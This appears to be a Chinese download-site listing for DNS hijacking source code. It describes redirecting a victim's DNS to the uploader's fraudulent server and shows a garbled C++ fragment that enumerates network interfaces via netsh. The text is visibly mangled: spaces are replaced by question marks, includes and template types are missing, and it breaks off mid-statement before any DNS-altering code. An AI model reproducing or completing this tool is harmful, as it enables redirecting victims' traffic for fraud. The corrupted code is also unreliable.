資源簡介
DNS劫持源代碼,用戶可以傳一個ip當作DNS服務器,被攻擊者的dns會自動指向您的欺詐DNS服務器。
代碼片段和文件信息
#include?
#include?
#include?
#include?
#include?
#include?
using?namespace?std;
class?DNS_Hijack?{
private:
list?interface_using; //獲取本地可用網卡
list?last_get_interface_using;
private:
string?str; //存儲文件讀取后的內容
string?DNS;
private:
void?Get_using_interface()
{
system(“netsh?interface?show?interface?>?interface_info.txt“);
FILE*?fp?=?fopen(“interface_info.txt“?“rb“);
const?int?file_size?=?filelength(fileno(fp));
char*?buff?=?(char*)malloc(sizeof(char)*file_size);
if?(fp)?{
fread(buff?1?file_size?fp);
str?=?buff;
free(buff);
replaceA_to_B(str?“-------------------------------------------------------------------------\r\n“?““);
Split(str?“\r\n“?interface_using);
Spilt_space(interface_using);
}
}
private:
void?Spilt_space(list?list_str)?{
for?(list::iterator?itor?=?list_str.begin();?itor?!=?list_str.end();?itor++)?{
cout?<*itor?< string::size_type?first_variable?=?(*itor).find(“已啟用“);
string::size_type?second_variable?=?(*itor).find(“已連接“);
string::size_type?third_variable?=?(*itor).find(“專用“);
if?(first_variable?!=?string::npos?&&?second_variable?!=?string::npos?&&?third_variable?!=?string::npos)?{
string?info?=?*itor;
last_get_interface_using.
評論
共有 條評論